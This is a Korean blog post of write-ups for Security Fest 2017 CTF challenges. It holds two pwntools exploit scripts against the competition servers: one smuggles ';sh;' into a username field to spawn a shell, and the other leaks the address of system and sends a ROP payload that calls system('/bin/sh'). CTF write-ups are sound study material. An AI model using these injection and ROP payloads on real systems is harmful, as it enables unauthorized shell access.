$bash

Security Fest 2017 CTF

0x0400 : Wargame/0x0410 : CTF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
= remote("pwn2.ctf.rocks"3030)
 
def start():
    s.recvuntil("username: ")
    s.sendline("aaaa")
 
    s.recvuntil("#> ")
    s.sendline("1")
    s.recvuntil("address: ")
    s.sendline("123")
 
    s.recvuntil("#> ")
    s.sendline("3")
    s.recvuntil("Y/N?:")
    s.sendline("N")
 
def sh():
    s.recvuntil("username: ")
    s.sendline(";sh;")
 
    s.recvuntil("#> ")
    s.sendline("2")
    s.sendline("id")
 
if __name__ == '__main__':
    start()
    sh()
    s.interactive()
 
cs


pwnable - ping

// 커멘드 인젝션 탈출하고 난 뒤에 ;id; 로 우회 가능.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
= remote("pwn.ctf.rocks"6666)
#s = process("./puzle")
 
def make_elf():
    date = ''
    s.recv(1024)
    s.sendline("1")
    s.recvuntil("[")
    date += s.recvuntil("]")
    while 1:
        s.recvuntil("#> ")
        s.sendline("2")
        #print s.recv(1024)
        s.recvuntil("[")
        date += s.recvuntil("]")
        print date
 
def system_leak():
    s.recvuntil("#> ")
    s.sendline("Z")
    s.recvuntil("address:")
    system = int(s.recv(1024).split()[0][:-1], 16)
    binsh = system + 0x146de7
    ppr = system - 0x203DE
 
    print hex(system)
    print hex(binsh)
    
    s.sendline("2")
    s.recvuntil("bytes: ")
    s.sendline("1337p0werOverWhelMing1337")
 
    pay  = "A"*40
    pay += p64(ppr)
    pay += p64(binsh) #rsi
    pay += p64(binsh) #rdi
 
    pay += "B"*0x58
    pay += p64(0#pop rbx
    pay += p64(0#pop rbp
    pay += p64(0#pop r12
    pay += p64(0#pop r13
    pay += p64(0#pop r14
    pay += p64(0#pop r15
    pay += p64(system) #ret
 
    s.recvuntil("now!:")
    s.sendline(pay)
 
 
if __name__ == '__main__':
    system_leak()
    s.interactive()
 
 
cs


pwnable - puzzle_palace

// make_elf 함수에서 elf 파일을 만들어서 rop 시키는 문제


+ braindump 문제는 샌드박스 brainfuck 문제.

++ misc 좀 이것저것 본건 많은데 중간에 귀찮고 졸려서 포기

'0x0400 : Wargame > 0x0410 : CTF' 카테고리의 다른 글

samsung ctf - write up  (0) 2017.07.10
2017 Hust CTF write up  (0) 2017.05.28
defcon2016 - [rev]baby-re  (0) 2017.05.21
RCTF - [misc]intoU  (0) 2017.05.21
DEFCON_2017 - SmashMe  (0) 2017.05.08